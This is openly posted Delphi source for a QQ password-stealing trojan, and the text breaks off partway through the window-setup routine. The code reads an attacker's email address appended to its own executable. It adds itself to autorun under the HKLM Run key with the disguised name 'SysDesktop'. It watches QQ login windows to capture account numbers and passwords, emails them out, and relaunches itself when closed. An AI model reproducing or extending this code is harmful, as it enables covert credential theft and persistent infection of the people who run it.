盗QQ源码 源代码公布
unit GCommonMethods;
{$I Complier.inc}
interface
uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;
procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
procedure ApplicationRun(hWindow: HWND);
procedure ReadSelfDataAppendedInExeFile;
implementation
var
IsFind: Boolean = True;
procedure ReadSelfDataAppendedInExeFile;
var
ExeFile: integer;
EmailInfo: TEmailInfo;
begin
try
ExeFile := FileOpen(ParamStr(0), fmOpenRead or fmShareDenyNone);
FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);
FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));
EmailRecever := EmailInfo.Receveer;
EmailSubject := EmailInfo.Subject;
// MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), '提示', MB_OK + MB_ICONINFORMATION);
finally
FileClose(ExeFile);
end;
end;
//--------------------------------------------------------------------
//设置程序自动运行,为了减少程序的体积,采用API函数写注册表
procedure SetAutoRun;
var
k1: hkey;
l: longint;
p: pchar;
begin
try
{$IFNDEF DebugMode}
l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
l := regopenkey(k1, 'Microsoft', k1);
l := regopenkey(k1, 'Windows', k1);
l := regopenkey(k1, 'CurrentVersion', k1);
l := regopenkey(k1, 'Run', k1);
p := pchar(ParamStr(0));
l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
{$ENDIF}
except
end;
end;
procedure RunExeAgainAndKillSelf(hWindows: HWND);
begin
{$IFNDEF DebugMode}
winexec(pchar(ExtractFilePath(ParamStr(0))), 1);
KillTimer(hWindows, 1);
{$ENDIF}
Halt;
end;
procedure DoTimeMethod(hWnd: HWND);
begin
SetAutoRun;
if IsFind then //计时器处于查找QQ窗口...
FindQQWindowForAnyVersion(hWnd, IsFind);
if not IsFind then //计时器处于监视号码和密码...
GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)
else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
begin
isFind := true;
SendMail;
end;
end;
function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
case uMsg of
//退出
WM_DESTROY:RunExeAgainAndKillSelf(hWnd);
//计时器消息
WM_TIMER: DoTimeMethod(hWnd);
end;
end;
procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
var
WinClass: TWndClassA;
Inst: THandle;
begin
Inst := hInst;
with WinClass do
begin
style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := @WindowProc;
hInstance := Inst;
hbrBackground := color_btnface + 1;


